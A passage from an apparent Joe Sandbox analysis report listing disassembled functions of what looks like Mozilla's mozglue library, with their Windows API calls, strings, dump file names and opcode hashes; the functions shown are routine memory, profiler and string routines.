GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4697B7
FreeLibrary.KERNEL32 ref: 6C4697D0
FreeLibrary.KERNEL32 ref: 6C4697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C469824

Strings

MapViewOfFileNuma2, xrefs: 6C4697B1
ntdll.dll, xrefs: 6C4696E3
NtMapViewOfSection, xrefs: 6C469701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C469670

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 4072cc59d9aa95f32602ef838d011af5bfed35e3f645ae357659d1cb5cc451de
Instruction ID: 7130fb472cd690a9866359ee9970095d8ab88e0e3d16464ee83966a5610d40bf
Opcode Fuzzy Hash: 4072cc59d9aa95f32602ef838d011af5bfed35e3f645ae357659d1cb5cc451de
Instruction Fuzzy Hash: E2419F70B012069BEF10FFA5D894ED67BB4EB49756F014528ED1587B84D771F804CBA1

Function 6C4A0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C464A68), ref: 6C49945E
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C499470
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C499482
Part of subcall function 6C499420: __Init_thread_footer.LIBCMT ref: 6C49949F

GetCurrentThreadId.KERNEL32 ref: 6C4A0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4A0041
GetCurrentThreadId.KERNEL32 ref: 6C4A0075
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C4A0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C4A0090
free.MOZGLUE(?), ref: 6C4A0104
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C4A011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C4A005B

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: dfd761f53c47cbebce5fe62cf69ff6a0e88366c9562cad91a0fd9235b9a20d75
Instruction ID: 21139f17d1e18c84ce4ecca9d3ac2d64aa6e13d0bee0a84ca9eb9eb92d14af4c
Opcode Fuzzy Hash: dfd761f53c47cbebce5fe62cf69ff6a0e88366c9562cad91a0fd9235b9a20d75
Instruction Fuzzy Hash: 7D419D716012549FDB20EF65C840E9ABBF1FF59318F44451EE95A83B40DB31F815CBA2

Function 6C467E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C467EA7
malloc.MOZGLUE(00000001), ref: 6C467EB3

Part of subcall function 6C46CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C46CB49
Part of subcall function 6C46CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C46CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C467EC4
mozalloc_abort.MOZGLUE(?), ref: 6C467F19
malloc.MOZGLUE(?), ref: 6C467F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C467F4D

Strings

d, xrefs: 6C467F89

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 68f145bd83ca5795a38093415b43b4865af079824171d2628625fdfe3e868f63
Instruction ID: c3bb26ed1358d0d167101ac8804ba444db414387fda3d6829015ad69577ffad9
Opcode Fuzzy Hash: 68f145bd83ca5795a38093415b43b4865af079824171d2628625fdfe3e868f63
Instruction Fuzzy Hash: 5831E761E0438897DB01EB69DC44EFEB778EF96208F055628ED4957622FB30A6C8C390

Function 6C463E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C463EEE
RtlFreeHeap.NTDLL ref: 6C463FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C464006
RtlFreeHeap.NTDLL ref: 6C4640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C463CCC), ref: 6C4640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C463CCC), ref: 6C4640C2
RtlFreeHeap.NTDLL ref: 6C464134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C463CCC), ref: 6C464143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C463CCC), ref: 6C464157

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: b9f1a9ab5642bfb992198355537e182e00c201d195b18bf4ff9f27d81aea81a7
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: BAA19FB1A00215CFDB44CF2AC880F59B7B5BF48348F2541A9D909AFB56D731E886CFA0

Function 6C452030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C473F47,?,?,?,6C473F47,6C471A70,?), ref: 6C45207F
memset.VCRUNTIME140(?,000000E5,6C473F47,?,6C473F47,6C471A70,?), ref: 6C4520DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C473F47,6C471A70,?), ref: 6C45211A
EnterCriticalSection.KERNEL32(6C4DE744,?,6C473F47,6C471A70,?), ref: 6C452145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C473F47,6C471A70,?), ref: 6C4521BA
EnterCriticalSection.KERNEL32(6C4DE744,?,6C473F47,6C471A70,?), ref: 6C4521E0
LeaveCriticalSection.KERNEL32(6C4DE744,?,6C473F47,6C471A70,?), ref: 6C452232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C452253, 6C452268
MOZ_CRASH(), xrefs: 6C45227D

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: ad016427884e61e4f47a06985befe7dbcda9a47ed27e67d4ccae7e38853b0a58
Instruction ID: ae4843891cbdfa1856cb05284e5fedba4b22866468343888d5af7b4bb18abb12
Opcode Fuzzy Hash: ad016427884e61e4f47a06985befe7dbcda9a47ed27e67d4ccae7e38853b0a58
Instruction Fuzzy Hash: 6361D831F012168FCB14DE68C989F6E77B1AF85315F59413AF624A7B94DB70AD10CB81

Function 6C4A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4A8273), ref: 6C4A9D65
free.MOZGLUE(6C4A8273,?), ref: 6C4A9D7C
free.MOZGLUE(?,?), ref: 6C4A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C4A9E0F
free.MOZGLUE(6C4A946B,?,?), ref: 6C4A9E24
free.MOZGLUE(?,?,?), ref: 6C4A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C4A9EC8
free.MOZGLUE(6C4A946B,?,?,?), ref: 6C4A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C4A9EF5

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 2b012af433d8a62e59196f5abf0db1225cc556eead2ae7a1713c1c06aadad8ca
Instruction ID: f26d2f4306497da9a9e16ea6169ea6ab951de051670a55dade36b55294e995a6
Opcode Fuzzy Hash: 2b012af433d8a62e59196f5abf0db1225cc556eead2ae7a1713c1c06aadad8ca
Instruction Fuzzy Hash: 40716A70909B418BD712CF58C480D9BF3F4BFA9315B44861DE85A5BB06EB32E886CBD1

Function 6C4ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C4ADDCF

Part of subcall function 6C48FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C48FA4B

Part of subcall function 6C4A90E0: free.MOZGLUE(?,00000000,?,?,6C4ADEDB), ref: 6C4A90FF
Part of subcall function 6C4A90E0: free.MOZGLUE(?,00000000,?,?,6C4ADEDB), ref: 6C4A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4ADE0D
free.MOZGLUE(00000000), ref: 6C4ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C49DEFD,?,6C464A68), ref: 6C4ADF32

Part of subcall function 6C4ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C4ADB86
Part of subcall function 6C4ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C4ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C49DEFD,?,6C464A68), ref: 6C4ADF65
free.MOZGLUE(?), ref: 6C4ADF80

Part of subcall function 6C475E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C475EDB
Part of subcall function 6C475E90: memset.VCRUNTIME140(ewKl,000000E5,?), ref: 6C475F27
Part of subcall function 6C475E90: LeaveCriticalSection.KERNEL32(?), ref: 6C475FB2

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: afa130643346d167d9bd79d80d1b169759e4ab86fbaf487182767b26bf27b7d6
Instruction ID: 45dfeb5774b0fceb8bb0937260da71ab2a0ae2f539c28fb49502f3abc3cb6a79
Opcode Fuzzy Hash: afa130643346d167d9bd79d80d1b169759e4ab86fbaf487182767b26bf27b7d6
Instruction Fuzzy Hash: 0C519272601A019BD721DB98C880EAFB3B2AFA5359F95011CDC1A57B04D731B81BCBD2

Function 6C4B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C4B5C8C,?,6C48E829), ref: 6C4B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C4B5C8C,?,6C48E829), ref: 6C4B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C4B5C8C,?,6C48E829), ref: 6C4B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C4B5C8C,?,6C48E829), ref: 6C4B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C4B5C8C,?,6C48E829), ref: 6C4B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C4B5C8C,?,6C48E829), ref: 6C4B5DC9
std::_Facet_Register.LIBCPMT ref: 6C4B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C4B5C8C,?,6C48E829), ref: 6C4B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C4B5C8C,?,6C48E829), ref: 6C4B5E45

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 03c21acd11d518a406f0c0355a58f91404a592bcbc67c33b331363129237bb72
Instruction ID: d7016ea65d1da698dcd5b32f1950de35943f3e3971cd366116bfbdb03dc0d5c1
Opcode Fuzzy Hash: 03c21acd11d518a406f0c0355a58f91404a592bcbc67c33b331363129237bb72
Instruction Fuzzy Hash: 9D4184347003058FDB10EFA5C898EADB7BAEF49315F14416CE506A7791DB34E905CBA1

Function 6C48CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C4531A7), ref: 6C48CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C48CFA4, 6C48CFB8
<jemalloc>, xrefs: 6C48CF9F, 6C48CFB3

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: e365c648f2c940849b07029c4251ce7748cdc321d7e83b6920ad2aae21bd89e8
Instruction ID: cfab52aef12ad8461e42ab2825c7651474b36079123b97920b6f3aecfa16afc8
Opcode Fuzzy Hash: e365c648f2c940849b07029c4251ce7748cdc321d7e83b6920ad2aae21bd89e8
Instruction Fuzzy Hash: 7F316F30B422159BFB10FFA58855FAE7A76AB41759F204219F614EBBC0DB70E5018BA1

Function 6C45ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C45F100: LoadLibraryW.KERNEL32(shell32,?,6C4CD020), ref: 6C45F122
Part of subcall function 6C45F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C45F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C45ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C45EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C45EDCC
CreateFileW.KERNEL32 ref: 6C45EE08
free.MOZGLUE(00000000), ref: 6C45EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C45EE32

Part of subcall function 6C45EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C45EBB5
Part of subcall function 6C45EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C48D7F3), ref: 6C45EBC3
Part of subcall function 6C45EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C48D7F3), ref: 6C45EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C45EDC1

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: aade4b130d6865b050fd8ae3d1f1fd9f454708d16a956bb827a695585ac2f2d2
Instruction ID: 15730473de8258f6833f3cc725fb80f90f60a1c7de9a5ee7ac96a14d2f48e250
Opcode Fuzzy Hash: aade4b130d6865b050fd8ae3d1f1fd9f454708d16a956bb827a695585ac2f2d2
Instruction Fuzzy Hash: 2D51F471E053058BDB00EF68C880FEEB7B0AF59318F84842DE8556B740E738A959C7E2

Function 6C4CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4CA565

Part of subcall function 6C4CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4CA4BE
Part of subcall function 6C4CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4CA6B6

Strings

0, xrefs: 6C4CA5FB
z, xrefs: 6C4CA6AE

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 161b08eecad56009d70b8b574e8ab2d2ad881f260641808011e85d6f05ea1531
Instruction ID: 3be5bf77fcb32e16209618501679afeae95de88f07b09774e6d488001d841b3e
Opcode Fuzzy Hash: 161b08eecad56009d70b8b574e8ab2d2ad881f260641808011e85d6f05ea1531
Instruction Fuzzy Hash: D0411775A097459FC341DF28C480E9ABBE5BF89354F408A2EF49987760EB30D549CB83

Function 6C499420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C48AB89: EnterCriticalSection.KERNEL32(6C4DE370,?,?,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284), ref: 6C48AB94
Part of subcall function 6C48AB89: LeaveCriticalSection.KERNEL32(6C4DE370,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C48ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C464A68), ref: 6C49945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C499470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C499482
__Init_thread_footer.LIBCMT ref: 6C49949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C49946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C499459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C49947D

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 3915fab92df5c955be73346d44076694c849c2fec4e0bc7e90ee30e61aa544f4
Instruction ID: b7f0841684ef9baf7f4d61fa0fec0d67e9a084fcac0979008227e37aeab27521
Opcode Fuzzy Hash: 3915fab92df5c955be73346d44076694c849c2fec4e0bc7e90ee30e61aa544f4
Instruction Fuzzy Hash: 35014C30A051008FE710FB9CD810E4937B99B1632AF05453BDD0E86B51D732F4658957

Function 6C4A0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4A0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4A0F88
GetCurrentThreadId.KERNEL32 ref: 6C4A0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C4A1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C4A10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C4A114B

Part of subcall function 6C498AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C4B1563), ref: 6C498BD5

free.MOZGLUE(?), ref: 6C4A1174
free.MOZGLUE(?), ref: 6C4A1186

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 6facbb0a21fd0bd2db1538c8eb6a80bdb1642850c52fb2c5f6c53dc1598d491a
Instruction ID: 8762c4d75cf4ad1e13c2ad7dcf04b0e0192899f0729c7222ee61231930ad1304
